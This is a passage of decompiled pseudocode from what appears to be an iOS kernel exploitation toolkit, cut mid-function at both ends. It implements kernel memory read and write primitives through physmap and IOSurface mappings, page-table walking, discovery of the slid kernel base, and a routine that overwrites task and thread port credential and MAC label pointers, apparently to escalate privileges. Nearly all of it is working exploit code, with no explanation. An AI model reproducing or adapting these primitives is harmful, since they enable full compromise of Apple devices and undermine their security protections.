    pthread_mutex_unlock(&krwCtx->someMutex);
    v12 = alloc_physmap_page((__int64)krwCtx, object_handle);
    if ( !v12 )
      goto LABEL_20;
  }
  v22 = kernel_va_base_resolver(krwCtx, 0, &v24);
  if ( v22 )
  {
    desc.pmapObjectPage = (uint32_t)((v15 - v22) >> v24);
    desc.flags = 0x2000000;
    desc.entrySize = 0x140;
    desc.physicalPageNumber = (uint32_t)(paddr / pageSize);
    if ( (unsigned int)kwrite_with_retry((__int64)krwCtx, v12, &desc, sizeof(desc)) )
    {
      memory_entry = vm_map(mach_task_self_, &address, size, 0, 1, object_handle[1], 0, 0, 3, 3, 1u);
      if ( memory_entry )
        goto LABEL_15;
      v23 = address;
      *(uint32_t *)address = 0;
      memory_entry = vm_protect(mach_task_self_, v23, size, 0, 0);
      if ( memory_entry )
        goto LABEL_15;
      memory_entry = vm_protect(mach_task_self_, address, size, 0, 3);
      if ( memory_entry )
        goto LABEL_15;
      if ( kwrite_physmap_with_a3_ptr((__int64)krwCtx, v15 + 32, v12) )
      {
        v8 = 0;
        *(uint32_t *)(a3 + 52) = object_handle[1];
        *(uint64_t *)a3 = address;
        *(uint64_t *)(a3 + 8) = pageSize;
        *(uint64_t *)(a3 + 16) = v12;
        *(uint32_t *)(a3 + 24) = object_handle[0];
        *(uint32_t *)(a3 + 28) = 1;
        return v8;
      }
    }
    v8 = 163856;
  }
  else
  {
    v8 = 708609;
  }
LABEL_20:
  if ( address && size )
    vm_deallocate(mach_task_self_, address, size);
  if ( object_handle[1] + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, object_handle[1]);
  if ( v12 && object_handle[0] )
    append_kaddr_to_physmem_table((__int64)krwCtx, v12, object_handle[0]);
  return v8;
}

//----- (0000000000038BCC) ----------------------------------------------------
__int64 __fastcall physmap_unmap_cached(__int64 a1, __int64 a2)
{
  __int64 v4; // x8
  __int64 result; // x0
  kern_return_t kr; // w0

  result = 708609;
  v4 = *(uint64_t *)(a2 + 16);
  if ( v4 && *(uint64_t *)a2 )
  {
    if ( noppl_kwrite32(a1, v4 + *(unsigned int *)(a2 + 48), -1) )
    {
      kr = vm_deallocate(mach_task_self_, *(uint64_t *)a2, *(uint64_t *)(a2 + 8) * *(unsigned int *)(a2 + 28));
      if ( kr )
      {
        result = kr | 0x80000000;
      }
      else
      {
        kr = mach_port_deallocate(mach_task_self_, *(uint32_t *)(a2 + 52));
        if ( kr )
          result = kr | 0x80000000;
        else
          result = append_kaddr_to_physmem_table(a1, *(uint64_t *)(a2 + 16), *(unsigned int *)(a2 + 24));
      }
    }
    else
    {
      result = 163856;
    }
  }
  *(uint64_t *)(a2 + 48) = 0;
  *(__int128 *)(a2 + 16) = 0u;
  *(__int128 *)(a2 + 32) = 0u;
  *(__int128 *)a2 = 0u;
  return result;
}

//----- (0000000000038C8C) ----------------------------------------------------
__int64 __fastcall append_kaddr_to_physmem_table(__int64 a1, __int64 a2, __int64 a3)
{
  pthread_mutex_t *v6; // x22
  int v7; // w0
  int v8; // w8
  __int64 v10; // x8
  __int64 *v11; // x9
  __int64 vars8; // [xsp+28h] [xbp+8h]

  v6 = (pthread_mutex_t *)(a1 + 616);
  v7 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 616));
  if ( v7 )
  {
    if ( v7 >= 0 )
      v8 = v7;
    else
      v8 = -v7;
    return v8 | 0x40000000u;
  }
  v10 = *(unsigned int *)(a1 + 680);
  if ( (unsigned int)v10 <= 7 )
  {
    v11 = (__int64 *)(a1 + 16 * v10 + 688);
    while ( *v11 )
    {
      ++v10;
      v11 += 2;
      if ( v10 == 8 )
        goto LABEL_10;
    }
    *(uint32_t *)(a1 + 680) = v10;
    *v11 = a2;
    *(uint32_t *)(a1 + 680 + 16LL * (unsigned int)v10 + 16) = a3;
    pthread_mutex_unlock(v6);
    return 0;
  }
LABEL_10:
  pthread_mutex_unlock(v6);
  if ( !a2 )
    return 0;
  return map_shared_mem_and_transfer_data(a1, a2, a3);
}
// 38D20: variable 'vars8' is possibly undefined

//----- (0000000000038D60) ----------------------------------------------------
__int64 __fastcall read_via_mapped_physmem_region(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5)
{
  __int64 (__fastcall *v9)(__int64, unsigned __int64, void *, unsigned int, int); // x5
  __int64 result; // x0
  uint64_t v10[7]; // [xsp+8h] [xbp-58h] BYREF
  __int64 vars8; // [xsp+68h] [xbp+8h]

  v9 = *(__int64 (__fastcall **)(__int64, unsigned __int64, void *, unsigned int, int))(a1 + 56);
  if ( v9 )
  {
    return v9(a1, a2, a3, a4, a5);
  }
  result = 708609;
  if ( !a5 )
    return result;
  if ( *(uint64_t *)(a1 + 344) >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3) && (*(uint8_t *)a1 & 0x20) != 0 )
    return result + 7;
  result = physmap_map_cached((struct_krwCtx *)a1, a2, (__int64)v10);
  if ( !(uint32_t)result )
  {
    memcpy(a3, (const void *)((*(uint64_t *)(a1 + 392) & a2) + v10[0]), a4);
    return physmap_unmap_cached(a1, (__int64)v10);
  }
  return result;
}

//----- (0000000000038E4C) ----------------------------------------------------
__int64 __fastcall physwritebuf_direct_mapped(
        struct_krwCtx *krwCtx,
        unsigned __int64 paddr,
        const void *buf,
        unsigned int size,
        int something)
{
  __int64 (__fastcall *v9)(struct_krwCtx *, unsigned __int64, const void *, unsigned int, int); // x5
  __int64 result; // x0
  uint64_t v10[7]; // [xsp+8h] [xbp-58h] BYREF
  __int64 vars8; // [xsp+68h] [xbp+8h]

  v9 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, const void *, unsigned int, int))&krwCtx->gap4[68];
  if ( v9 )
  {
    return v9(krwCtx, paddr, buf, size, something);
  }
  result = 708609;
  if ( !something )
    return result;
  if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3)
    && (krwCtx->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
  {
    return result + 7;
  }
  result = physmap_map_cached(krwCtx, paddr, (__int64)v10);
  if ( !(uint32_t)result )
  {
    memcpy((void *)((krwCtx->pageMask & paddr) + v10[0]), buf, size);
    return physmap_unmap_cached((__int64)krwCtx, (__int64)v10);
  }
  return result;
}

//----- (0000000000038F38) ----------------------------------------------------
__int64 __fastcall check_krw_read_thunk_ok(struct_krwCtx *a1, __int64 a2, __int64 a3)
{
  if ( (unsigned int)krw_read_thunk(a1, a2 + 8, 2, (void *)a3) )
    return 0;
  else
    return 163855;
}

//----- (0000000000038F6C) ----------------------------------------------------
__int64 __fastcall kwrite_u16_at_plus8(__int64 a1, __int64 a2, __int16 a3)
{
  __int16 v4; // [xsp+Eh] [xbp-2h] BYREF

  v4 = a3;
  if ( (unsigned int)kwrite_with_retry(a1, a2 + 8, (__int64)&v4, 2) )
    return 0;
  else
    return 163856;
}

//----- (0000000000038FAC) ----------------------------------------------------
__int64 __fastcall u16_add10_clamped(unsigned int a1)
{
  unsigned __int16 v1; // w8

  v1 = a1 + 10;
  if ( a1 > 0xFFF4 )
    v1 = -2;
  if ( a1 > 0xFFFD )
    return (unsigned __int16)a1;
  return v1;
}

//----- (0000000000038FD4) ----------------------------------------------------
__int64 __fastcall kread_and_kwrite_u16_plus8_bumped(struct_krwCtx *a1, __int64 a2)
{
  __int64 v4; // x19
  __int64 v5; // x21
  __int16 v6; // w8
  unsigned __int16 v8; // [xsp+Ch] [xbp-24h] BYREF
  __int16 v9; // [xsp+Eh] [xbp-22h] BYREF

  v4 = 163855;
  if ( !validate_kaddr_range((__int64)a1, a2) )
    return 163878;
  v5 = a2 + 8;
  if ( (unsigned int)krw_read_thunk(a1, v5, 2, &v8) )
  {
    if ( v8 <= 0xFFFDu )
    {
      if ( v8 <= 0xFFF4u )
        v6 = v8 + 10;
      else
        v6 = -2;
      v8 = v6;
      v9 = v6;
      if ( (unsigned int)kwrite_with_retry((__int64)a1, v5, (__int64)&v9, 2) )
        return 0;
      else
        return 163856;
    }
    else
    {
      return 0;
    }
  }
  return v4;
}

//----- (0000000000039090) ----------------------------------------------------
uint64_t __fastcall remap_kaddr_through_physmap(struct_krwCtx *a1, __int64 a2)
{
  uint64_t v4; // x8
  uint64_t v5; // x21
  unsigned __int64 v6; // x1
  bool v7; // zf
  uint64_t v8; // x8
  uint64_t result; // x0
  int v10; // w0
  __int64 v11; // x21
  __int64 v12; // x8
  bool v13; // zf
  __int64 v14; // x8
  uint64_t v16; // x9
  uint8_t v17[32]; // [xsp+8h] [xbp-48h] BYREF
  __int64 v18; // [xsp+28h] [xbp-28h]

  v4 = a1->gap191[681];
  v5 = a1->pageMask;
  v6 = a2 & ~v5;
  if ( v4 )
    v7 = v4 == v6;
  else
    v7 = 0;
  if ( v7 )
  {
    v8 = a1->gap191[682];
    if ( v8 )
      return v8 + (v5 & a2);
  }
  pgtable_walk_wrapper((__int64)a1, v6, (__int64)v17);
  if ( !v10 )
    return 0;
  v11 = v5 & a2;
  v12 = resolve_physpage_addr(a1, v18 & 0xFFFFFFFFC000LL);
  result = 0;
  v13 = v12 == 0;
  if ( v12 )
    v14 = v12 + v11;
  else
    v14 = 0;
  if ( !v13 && v14 != 0 )
  {
    v16 = a1->pageMask;
    a1->gap191[681] = a2 & ~v16;
    a1->gap191[682] = v14 & ~v16;
    return v14;
  }
  return result;
}
// 390E8: variable 'v10' is possibly undefined

//----- (0000000000039150) ----------------------------------------------------
__int64 __fastcall task_thread_port_cred_patch(__int64 x0_0)
{
  __int64 v2; // x20
  __int64 v3; // x27
  task_inspect_t v4; // w22
  __int128 v5; // q0
  unsigned __int64 v6; // x0
  uint64_t *v7; // x21
  __int64 v8; // x23
  int v9; // w0
  int v10; // w8
  int v12; // w28
  mach_vm_address_t v13; // x0
  mach_vm_address_t v14; // x21
  __int16 v15; // w26
  thread_act_t v16; // w0
  mach_port_t v17; // w0
  int v18; // w23
  unsigned __int64 v19; // x0
  unsigned __int64 v20; // x23
  __int64 v21; // x8
  char v22; // w9
  char v23; // w21
  int v24; // w0
  __int64 k; // x20
  int v26; // w0
  unsigned __int64 v27; // x23
  unsigned __int64 i; // x23
  mach_port_t v29; // w8
  thread_act_t v30; // w0
  thread_act_array_t v31; // x8
  __int64 v32; // x22
  mach_port_t v33; // w8
  thread_act_t v34; // w0
  __int64 v35; // x23
  int v36; // w23
  int v37; // w8
  unsigned __int64 j; // x22
  mach_port_t v39; // w8
  thread_act_t v40; // w0
  __int64 v41; // x8
  __int64 v42; // x24
  bool v43; // zf
  __int64 v44; // x28
  __int64 v45; // x22
  __int64 v47; // x8
  __int64 v48; // x24
  __int64 v49; // x27
  unsigned __int64 v50; // x0
  unsigned __int64 v51; // x22
  kern_return_t v52; // w0
  int v53; // w22
  int v54; // w8
  __int64 v55; // [xsp+10h] [xbp-110h] BYREF
  __int64 v56; // [xsp+18h] [xbp-108h] BYREF
  task_suspension_token_t suspend_token[2]; // [xsp+20h] [xbp-100h] BYREF
  int a1[3]; // [xsp+28h] [xbp-F8h] BYREF
  mach_msg_type_number_t act_listCnt; // [xsp+34h] [xbp-ECh] BYREF
  thread_act_array_t act_list; // [xsp+38h] [xbp-E8h] BYREF
  mach_port_name_t name; // [xsp+44h] [xbp-DCh] BYREF
  __int64 v62; // [xsp+48h] [xbp-D8h] BYREF
  __int128 v63[3]; // [xsp+50h] [xbp-D0h] BYREF
  uint64_t v64[7]; // [xsp+88h] [xbp-98h] BYREF

  v2 = *(uint64_t *)x0_0;
  v3 = *(unsigned int *)(x0_0 + 8);
  v62 = 0;
  name = 0;
  act_list = 0;
  act_listCnt = 0;
  v4 = *(uint32_t *)(v2 + 6392);
  *(uint64_t *)suspend_token = 0;
  *(uint64_t *)a1 = -1;
  *(uint64_t *)&v5 = -1;
  *((uint64_t *)&v5 + 1) = -1;
  v63[0] = v5;
  v63[1] = v5;
  v63[2] = v5;
  v6 = kernel_cstring_pattern_scan(v2, "MAC Labels");
  if ( !v6 || (unsigned int)find_kfunc_ptr_in_kernel_data((struct_krwCtx *)v2, v6) )
  {
LABEL_6:
    v10 = 0;
    goto LABEL_7;
  }
  v7 = v64;
  v8 = -3;
  while ( v8 )
  {
    v9 = kread64_internal(
           (struct_krwCtx *)v2,
           *(uint64_t *)(v2 + 6384) + (unsigned int)(*(uint32_t *)(v2 + 360) * (v8 + 4)),
           v7++);
    ++v8;
    if ( !v9 )
      goto LABEL_6;
  }
  v12 = 163878;
  v13 = get_task_port_kaddr_wrap(v2, mach_task_self_, suspend_token);
  if ( v13 )
  {
    v14 = v13;
    v15 = suspend_token[0];
    if ( (suspend_token[0] & 0x400) != 0 || noppl_kwrite32(v2, v13, suspend_token[0] | 0x400) )
    {
      v16 = mach_thread_self();
      if ( set_thread_abs_realtime_50(v16) )
      {
        v17 = mach_thread_self();
        v18 = kwrite_task_kobj_field_via_physmap((struct_krwCtx *)v2, v17, 1, 1, 96);
        if ( v18 )
          goto LABEL_20;
        thread_switch(0, 2, 0xAu);
        if ( pipe(a1) || (unsigned int)j__fileport_makeport(a1[1], &name) )
        {
          __error();
          __error();
          v18 = 163878;
          if ( (v15 & 0x400) != 0 )
            goto LABEL_22;
LABEL_21:
          noppl_kwrite32(v2, v14, suspend_token[0]);
          v12 = v18;
          goto LABEL_22;
        }
        v19 = get_task_kobject_addr((struct_krwCtx *)v2, name);
        if ( v19 )
        {
          v20 = v19;
          if ( !mach_port_deallocate(mach_task_self_, name) )
          {
            name = 0;
            v27 = v20 + 88;
            if ( kread64_internal((struct_krwCtx *)v2, v27, &v62)
              && validate_kaddr_range(v2, v62)
              && kwrite64(v2, v27, *(uint64_t *)(v2 + 6384)) )
            {
              if ( v4 == mach_task_self_ )
              {
                if ( !task_threads(v4, &act_list, &act_listCnt) )
                {
                  if ( act_listCnt )
                  {
                    for ( i = 0; i < act_listCnt; ++i )
                    {
                      if ( act_list[i] + 1 >= 2 )
                      {
                        v29 = mach_thread_self();
                        v30 = act_list[i];
                        if ( v29 != v30 )
                          thread_suspend(v30);
                      }
                    }
                  }
                  goto LABEL_46;
                }
              }
              else if ( !task_suspend2(v4, &suspend_token[1]) )
              {
LABEL_46:
                if ( close(a1[0]) || (a1[0] = -1, close(a1[1])) )
                {
                  __error();
                  __error();
LABEL_49:
                  if ( v4 == mach_task_self_ )
                  {
                    v31 = act_list;
                    if ( act_list && act_listCnt )
                    {
                      v32 = 0;
                      while ( 1 )
                      {
                        if ( v31[v32] + 1 >= 2 )
                        {
                          v33 = mach_thread_self();
                          v34 = act_list[v32];
                          if ( v33 != v34 )
                            thread_resume(v34);
                        }
                        if ( ++v32 >= (unsigned __int64)act_listCnt )
                          break;
                        v31 = act_list;
                      }
                      vm_deallocate(mach_task_self_, (vm_address_t)act_list, 4LL * act_listCnt);
                    }
                  }
                  else if ( suspend_token[1] + 1 >= 2 )
                  {
                    task_resume2(suspend_token[1]);
                    suspend_token[1] = 0;
                  }
                  v18 = 163878;
LABEL_62:
                  v12 = 163878;
                  if ( (v15 & 0x400) != 0 )
                    goto LABEL_22;
                  goto LABEL_21;
                }
                v35 = 0;
                a1[1] = -1;
                while ( !pipe((int *)((char *)v63 + v35)) )
                {
                  v35 += 8;
                  if ( v35 == 48 )
                  {
                    v18 = 0;
                    goto LABEL_71;
                  }
                }
                v36 = errno;
                v37 = errno;
                if ( v36 < 0 )
                  v37 = -v37;
                v18 = v37 | 0x40000000;
LABEL_71:
                if ( v4 == mach_task_self_ )
                {
                  if ( act_listCnt )
                  {
                    for ( j = 0; j < act_listCnt; ++j )
                    {
                      if ( act_list[j] + 1 >= 2 )
                      {
                        v39 = mach_thread_self();
                        v40 = act_list[j];
                        if ( v39 != v40 )
                          thread_resume(v40);
                      }
                    }
                  }
                }
                else
                {
                  if ( task_resume2(suspend_token[1]) )
                    goto LABEL_49;
                  suspend_token[1] = 0;
                }
                if ( !v18 )
                {
                  v41 = 944;
                  do
                  {
                    v42 = v41 + 64;
                    if ( !*(uint64_t *)(v2 + v41) )
                      break;
                    v43 = v41 == 1392;
                    v41 += 64;
                  }
                  while ( !v43 );
                  v44 = v42 - 56;
                  v45 = -3;
                  v18 = 163857;
                  do
                  {
                    v56 = 0;
                    if ( !kread64_internal(
                            (struct_krwCtx *)v2,
                            *(uint64_t *)(v2 + 6384) + (unsigned int)(*(uint32_t *)(v2 + 360) * (v45 + 4)),
                            &v56) )
                    {
                      v18 = 163855;
                      goto LABEL_62;
                    }
                    if ( !v56 )
                      goto LABEL_62;
                    *(uint64_t *)(v2 + v44) = v56;
                    v44 += 8;
                  }
                  while ( !__CFADD__(v45++, 1) );
                  v47 = 0;
                  *(uint64_t *)(v2 + v42 - 64) = *(uint64_t *)(v2 + 6384);
                  do
                  {
                    v48 = v3 + 1;
                    if ( v47 != v3 )
                    {
                      v48 = v47 + 1;
                      if ( !kwrite64(
                              v2,
                              *(uint64_t *)(v2 + 6384) + (unsigned int)(*(uint32_t *)(v2 + 360) * (v47 + 1)),
                              v64[v47]) )
                      {
                        v18 = 163856;
                        goto LABEL_20;
                      }
                    }
                    v47 = v48;
                  }
                  while ( v48 != 3 );
                  v49 = 0;
                  v18 = 708625;
                  v12 = 163878;
                  while ( !(unsigned int)j__fileport_makeport(*(uint32_t *)((char *)v63 + v49), &name) )
                  {
                    v50 = get_task_kobject_addr((struct_krwCtx *)v2, name);
                    if ( !v50 )
                    {
                      v12 = 163854;
                      goto LABEL_123;
                    }
                    v51 = v50;
                    v52 = mach_port_deallocate(mach_task_self_, name);
                    if ( v52 )
                    {
                      v12 = v52 | 0x80000000;
                      goto LABEL_123;
                    }
                    name = 0;
                    if ( !kread64_internal((struct_krwCtx *)v2, v51 + 88, &v55) )
                      goto LABEL_113;
                    if ( !validate_kaddr_range(v2, v55) )
                      goto LABEL_123;
                    if ( v55 == *(uint64_t *)(v2 + 6384) )
                    {
                      if ( kwrite64(v2, v51 + 88, v62) )
                        v12 = 0;
                      else
                        v12 = 163856;
                      goto LABEL_123;
                    }
                    if ( !kread_physmap_decorated((struct_krwCtx *)v2, v51 + 56, (unsigned __int64 *)&v56) )
                      goto LABEL_113;
                    if ( !validate_kaddr_range(v2, v56) )
                      goto LABEL_123;
                    if ( !kread64_internal((struct_krwCtx *)v2, v56 + 160, &v55) )
                    {
LABEL_113:
                      v12 = 163855;
                      goto LABEL_123;
                    }
                    if ( !validate_kaddr_range(v2, v55) )
                      goto LABEL_123;
                    if ( v55 == *(uint64_t *)(v2 + 6384) )
                    {
                      if ( !kwrite64(v2, v56 + 160, v62) )
                      {
                        v12 = 163856;
                        goto LABEL_123;
                      }
                      v18 = 0;
                    }
                    v49 += 4;
                    if ( v49 == 48 )
                      goto LABEL_20;
                  }
                  v53 = errno;
                  v54 = errno;
                  if ( v53 < 0 )
                    v54 = -v54;
                  v12 = v54 | 0x40000000;
LABEL_123:
                  v18 = v12;
                  if ( (v15 & 0x400) != 0 )
                    goto LABEL_22;
                  goto LABEL_21;
                }
LABEL_20:
                v12 = v18;
                if ( (v15 & 0x400) != 0 )
                  goto LABEL_22;
                goto LABEL_21;
              }
            }
          }
        }
      }
      v18 = 163878;
      goto LABEL_20;
    }
  }
LABEL_22:
  v21 = 0;
  v22 = 1;
  do
  {
    v23 = v22;
    v24 = a1[v21];
    if ( v24 != -1 )
      close(v24);
    v22 = 0;
    v21 = 1;
  }
  while ( (v23 & 1) != 0 );
  for ( k = 0; k != 48; k += 4 )
  {
    v26 = *(uint32_t *)((char *)v63 + k);
    if ( v26 != -1 )
      close(v26);
  }
  if ( name + 1 > 1 )
    mach_port_deallocate(mach_task_self_, name);
  v10 = v12 == 0;
LABEL_7:
  *(uint32_t *)(x0_0 + 12) = v10;
  return 0;
}

//----- (0000000000039888) ----------------------------------------------------
unsigned __int64 __fastcall kernel_get_base_slid(struct_krwCtx *ctx, unsigned __int64 optional_vtable_func)
{
  unsigned __int64 kbase; // x20
  int kernPageSize; // w8
  __int64 kernSpacing; // x22
  bool is16KPage; // zf
  unsigned __int64 v7; // x8
  mach_port_t port; // w0
  unsigned __int64 ipc_port_kaddr; // x0
  unsigned __int64 v10; // x0
  struct mach_header_64 header; // [xsp+8h] [xbp-58h] BYREF
  unsigned __int64 vtable_func; // [xsp+28h] [xbp-38h] BYREF

  vtable_func = optional_vtable_func;
  if ( !optional_vtable_func )
  {
    port = IORegistryEntryFromPath(kIOMasterPortDefault, "IOService:/");
    if ( port + 1 < 2 )
      return 0;
    ipc_port_kaddr = task_self_get_ipc_port(ctx, port);
    if ( !ipc_port_kaddr )
      return 0;
    v10 = maybe_ipc_port_get_kobject(ctx, ipc_port_kaddr);
    vtable_func = v10;
    if ( !v10 )
      return 0;
    if ( !kread_physmap_decorated(ctx, v10, &vtable_func) )
      return 0;
    vtable_func = krw_xpac_vaddr_2(ctx, vtable_func);
    if ( !kread_physmap_decorated(ctx, vtable_func, &vtable_func) )
      return 0;
    optional_vtable_func = krw_xpac_vaddr_2(ctx, vtable_func);
    vtable_func = optional_vtable_func;
  }
  kbase = 0;
  kernPageSize = ctx->pageSizeOrSomething;
  if ( kernPageSize == 0x4000 )
    kernSpacing = 0x4000;
  else
    kernSpacing = 0x100000;
  is16KPage = kernPageSize == 0x4000;
  v7 = optional_vtable_func & -kernSpacing;
  if ( !is16KPage )
    v7 += 0x4000LL;
  if ( v7 >= 0xFFFF000000000000LL )
  {
    kbase = v7;
    while ( (unsigned int)krw_read_thunk(ctx, kbase, 4, &header) )
    {
      if ( header.magic == 0xFEEDFACF )
      {
        if ( !(unsigned int)krw_read_thunk(ctx, kbase + 4, 0x18, &header.cputype) )
          return 0;
        if ( header.filetype == MH_EXECUTE && header.ncmds >= 9 && header.ncmds < 0x40 )
          return kbase;
      }
      kbase -= kernSpacing;
      if ( kbase <= 0xFFFEFFFFFFFFFFFFLL )
        return 0;
    }
    return 0;
  }
  return kbase;
}

//----- (0000000000039A24) ----------------------------------------------------
__int64 __fastcall init_pgtable_walk_ctx(__int64 a1, unsigned __int64 a2)
{
  __int64 result; // x0
  unsigned __int64 v3; // x20
  struct_a1 *v5; // x0
  __int64 v6; // x21
  __int128 v7; // q1
  int v8; // w3

  if ( *(uint64_t *)(a1 + 6648) )
    return 0;
  v3 = a2;
  if ( !a2 )
  {
    v3 = kernel_get_base_slid((struct_krwCtx *)a1, 0);
    if ( !v3 )
      return 163860;
  }
  v5 = (struct_a1 *)calloc(0x128u, 1u);
  if ( !v5 )
    return 708617;
  v6 = (__int64)v5;
  krw_ctx_zero_fields(v5, a1);
  v7 = *(__int128 *)(a1 + 336);
  *(__int128 *)(v6 + 112) = *(__int128 *)(a1 + 320);
  *(__int128 *)(v6 + 128) = v7;
  *(uint64_t *)(v6 + 144) = *(uint64_t *)(a1 + 352);
  *(uint32_t *)(v6 + 152) = *(uint32_t *)(a1 + 376);
  *(uint32_t *)(v6 + 56) = *(uint32_t *)(a1 + 384);
  if ( *(uint64_t *)(a1 + 344) >> 43 <= 0x44Au )
    v8 = 128;
  else
    v8 = 1152;
  if ( !iosurface_physmap_setup_alt(v6, 0, v3, v8) )
    return 163863;
  result = 0;
  *(uint64_t *)(a1 + 6648) = v6;
  return result;
}

//----- (0000000000039B14) ----------------------------------------------------
unsigned __int64 __fastcall init_kread_pattern_addrs(uint64_t *a1)
{
  unsigned __int64 result; // x0
  unsigned __int64 v3; // [xsp+0h] [xbp-20h] BYREF
  unsigned __int64 v4; // [xsp+8h] [xbp-18h] BYREF

  result = find_kread_pattern_versioned(a1[831], &v4, &v3);
  if ( (uint32_t)result )
  {
    result = comm_page_memory_size();
    if ( result )
    {
      a1[782] = v4;
      a1[783] = v3;
      a1[784] = result;
      return 1;
    }
  }
  return result;
}

//----- (0000000000039B70) ----------------------------------------------------
void __usercall resolve_kernel_text_range(SearchObj *x8_0, struct_krwCtx *a2)
{
    __int64 base_ptr; // x9
    __int64 size; // x10
    __int64 v6; // x0
    char *v7; // x0
    unsigned __int64 v8; // x21
    unsigned __int64 v9; // x8
    __int64 v10; // x9
    __int64 v11; // x8
    SearchObj a1; // [xsp+8h] [xbp-38h] BYREF

    x8_0->field_0x00 = 0LL;
    x8_0->base_ptr = 0LL;
    x8_0->size = 0LL;
    if ( krw_ctx_has_flag(a2, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
      goto LABEL_2;
    if ( krw_ctx_has_flag(a2, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
    {
      macho_walk_segment_by_name("__PPLTEXT", a2->gap1921[2], &a1);
      goto LABEL_5;
    }
    macho_find_text_section(a2->gap1921[2], &a1.field_0x00);
    base_ptr = a1.base_ptr;
    size = a1.size;
    if ( a2->xnuVersionPacked < XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
    {
      x8_0->field_0x00 = a1.field_0x00;
      x8_0->base_ptr = base_ptr;
      x8_0->size = size;
      return;
    }
    a1.base_ptr = a1.base_ptr + a1.size - 0x20000;
    a1.size = 0x20000LL;
    v6 = kernel_pattern_scan(&a1, "08 DC 70 92", 0);
    if ( !v6 )
      goto LABEL_2;
    v7 = resolve_branch_target((__int64 *)a2->gap1921[2], (__int64 *)(v6 - 4));
    if ( !v7 )
      goto LABEL_2;
    v8 = (unsigned __int64)v7;
    macho_find_text_section(a2->gap1921[2], &a1.field_0x00);
    v9 = a1.base_ptr - v8;
    if ( a1.base_ptr > v8
      || (v10 = a1.size, v8 >= a1.size + a1.base_ptr)
      || (x8_0->field_0x00 = a1.field_0x00, x8_0->base_ptr = v8, v11 = v9 + v10, (x8_0->size = v11) == 0) )
    {
  LABEL_2:
      macho_find_text_section(a2->gap1921[2], &a1.field_0x00);
  LABEL_5:
      *x8_0 = a1;
    }
  }
//void resolve_kernel_text_range(uint64_t *a1, struct_krwCtx *a2)
//{
//  __int64 v4; // x10
//  __int64 v5; // x0
//  char *v6; // x0
//  char *v7; // x21
//  __int64 v8; // x8
//  __int64 v9; // x9
//  __int64 v10; // x8
//  __int128 v11; // [xsp+8h] [xbp-38h] BYREF
//  __int64 v12; // [xsp+18h] [xbp-28h]
//
//  *a1 = 0;
//  a1[1] = 0;
//  a1[2] = 0;
//  if ( krw_ctx_has_flag(a2, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
//    goto LABEL_2;
//  if ( krw_ctx_has_flag(a2, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
//  {
//    macho_walk_segment_by_name("__PPLTEXT", &v11, a2->gap1921[2]);
//    goto LABEL_5;
//  }
//  macho_find_text_section(a2->gap1921[2], &v11);
//  v4 = v12;
//  if ( a2->xnuVersionPacked < XNU_VERSION_PACKED(7195, 100, 326, 0, 0) )
//  {
//    *(__int128 *)a1 = v11;
//    a1[2] = v4;
//    return;
//  }
//  *((uint64_t *)&v11 + 1) = *((uint64_t *)&v11 + 1) + v12 - 0x20000;
//  v12 = 0x20000;
//  v5 = kernel_pattern_scan((__int64)&v11, "08 DC 70 92", 0);
//  if ( !v5 )
//    goto LABEL_2;
//  v6 = resolve_branch_target((__int64 *)a2->gap1921[2], (__int64 *)(v5 - 4));
//  if ( !v6 )
//    goto LABEL_2;
//  v7 = v6;
//  macho_find_text_section(a2->gap1921[2], &v11);
//  v8 = *((uint64_t *)&v11 + 1) - (uint64_t)v7;
//  if ( *((uint64_t *)&v11 + 1) > (unsigned __int64)v7
//    || (v9 = v12, (unsigned __int64)v7 >= v12 + *((uint64_t *)&v11 + 1))
//    || (*a1 = v11, a1[1] = v7, v10 = v8 + v9, (a1[2] = v10) == 0) )
//  {
//LABEL_2:
//    macho_find_text_section(a2->gap1921[2], &v11);
//LABEL_5:
//    *(__int128 *)a1 = v11;
//    a1[2] = v12;
//  }
//}

//----- (0000000000039CC0) ----------------------------------------------------
__int64 __fastcall check_task_dyld_info_versioned(struct_krwCtx *a1, task_name_t target_task, int a3, const void *a4, mach_vm_size_t a5)
{
  __int64 result; // x0
  int xnuMajorVersion; // w8
  int v12; // w8
  unsigned __int64 v13; // x9
  unsigned int v16; // w24
  mach_msg_type_number_t v17; // w8
  task_flavor_t v18; // w1
  int v19; // w9
  unsigned __int64 v20; // x24
  mach_msg_type_number_t task_info_outCnt; // [xsp+Ch] [xbp-84h] BYREF
  uint8_t __s1[32]; // [xsp+10h] [xbp-80h] BYREF
  integer_t task_info_out[8]; // [xsp+30h] [xbp-60h] BYREF

  result = 0;
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion > 8791 )
  {
    if ( xnuMajorVersion != 8792 && xnuMajorVersion != 10002 && xnuMajorVersion != 8796 )
      return result;
    goto LABEL_14;
  }
  if ( (unsigned int)(xnuMajorVersion - 8019) < 2 )
  {
LABEL_14:
    v12 = 64;
    v13 = XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023);
    goto LABEL_15;
  }
  if ( xnuMajorVersion == 6153 )
  {
    v16 = 160;
    goto LABEL_18;
  }
  if ( xnuMajorVersion != 7195 )
    return result;
  v12 = 148;
  v13 = XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023);
LABEL_15:
  if ( a1->xnuVersionPacked <= v13 )
    v16 = 156;
  else
    v16 = v12;
LABEL_18:
  if ( (unsigned int)(a3 - 1) >= 2 )
  {
    if ( a3 != 3 )
      return 0;
    v16 += 8;
    v17 = 8;
    v18 = 15;
    v19 = 32;
  }
  else
  {
    v17 = 2;
    v18 = 13;
    v19 = 8;
  }
  if ( v19 != (uint32_t)a5 )
    return 0;
  task_info_outCnt = v17;
  if ( task_info(target_task, v18, task_info_out, &task_info_outCnt) )
    return 0;
  if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    result = get_task_kobject_addr(a1, target_task);
    if ( !result )
